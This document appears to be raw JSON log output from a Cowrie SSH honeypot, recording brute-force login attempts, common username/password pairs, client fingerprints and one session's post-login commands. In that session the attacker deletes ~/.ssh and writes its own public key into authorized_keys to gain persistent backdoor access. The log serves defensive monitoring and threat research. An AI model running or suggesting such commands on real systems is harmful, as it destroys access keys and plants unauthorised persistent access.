{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:25.883435Z","src_ip":"2.57.122.210","session":"ca1d0595a828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:26.212233Z","src_ip":"2.57.122.210","session":"ca1d0595a828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:27.308175Z","src_ip":"2.57.122.210","session":"ca1d0595a828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":39094,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3b3cbf467c0","protocol":"ssh","message":"New connection: 165.154.6.89:39094 (10.17.0.5:22) [session: e3b3cbf467c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:38.777123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:38.781827Z","src_ip":"165.154.6.89","session":"e3b3cbf467c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:38.995108Z","src_ip":"165.154.6.89","session":"e3b3cbf467c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sofia","password":"sofia123","message":"login attempt [sofia/sofia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:39.882459Z","src_ip":"165.154.6.89","session":"e3b3cbf467c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:41.098925Z","src_ip":"165.154.6.89","session":"e3b3cbf467c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":18032,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b47744628b","protocol":"ssh","message":"New connection: 42.112.42.129:18032 (10.17.0.5:22) [session: 95b47744628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:43.067381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:43.071761Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:43.323197Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"2342w3e4r","message":"login attempt [root/2342w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:44.388575Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:44.978648Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:44.981900Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:44.985138Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:45.350266Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:45.885695Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:45.888872Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:46.161590Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:46.164958Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":41600,"dst_ip":"10.17.0.5","dst_port":22,"session":"dae0472b4d02","protocol":"ssh","message":"New connection: 42.112.42.129:41600 (10.17.0.5:22) [session: dae0472b4d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:46.399946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:46.403956Z","src_ip":"42.112.42.129","session":"dae0472b4d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:46.648573Z","src_ip":"42.112.42.129","session":"dae0472b4d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:47.687339Z","src_ip":"42.112.42.129","session":"dae0472b4d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:48.936085Z","src_ip":"42.112.42.129","session":"dae0472b4d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":21453,"dst_ip":"10.17.0.5","dst_port":22,"session":"731caa3baed3","protocol":"ssh","message":"New connection: 42.112.42.129:21453 (10.17.0.5:22) [session: 731caa3baed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:49.223446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:49.228381Z","src_ip":"42.112.42.129","session":"731caa3baed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:49.477948Z","src_ip":"42.112.42.129","session":"731caa3baed3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:50.520369Z","src_ip":"42.112.42.129","session":"731caa3baed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:50.773086Z","src_ip":"42.112.42.129","session":"731caa3baed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:50.777344Z","src_ip":"42.112.42.129","session":"95b47744628b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a1a5177342","protocol":"ssh","message":"New connection: 152.52.15.213:57994 (10.17.0.5:22) [session: 65a1a5177342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:52.822341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:52.826019Z","src_ip":"152.52.15.213","session":"65a1a5177342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:53.049988Z","src_ip":"152.52.15.213","session":"65a1a5177342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345","message":"login attempt [admin1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:53.976408Z","src_ip":"152.52.15.213","session":"65a1a5177342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:57:55.203867Z","src_ip":"152.52.15.213","session":"65a1a5177342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":40604,"dst_ip":"159.203.135.109","dst_port":22,"session":"2af4561e3e3c","protocol":"ssh","message":"New connection: 103.193.178.240:40604 (159.203.135.109:22) [session: 2af4561e3e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:18.620750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:18.625225Z","src_ip":"103.193.178.240","session":"2af4561e3e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:18.875324Z","src_ip":"103.193.178.240","session":"2af4561e3e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60068,"dst_ip":"10.17.0.5","dst_port":22,"session":"e67892252158","protocol":"ssh","message":"New connection: 2.57.122.208:60068 (10.17.0.5:22) [session: e67892252158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:19.688385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:19.811261Z","src_ip":"2.57.122.208","session":"e67892252158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s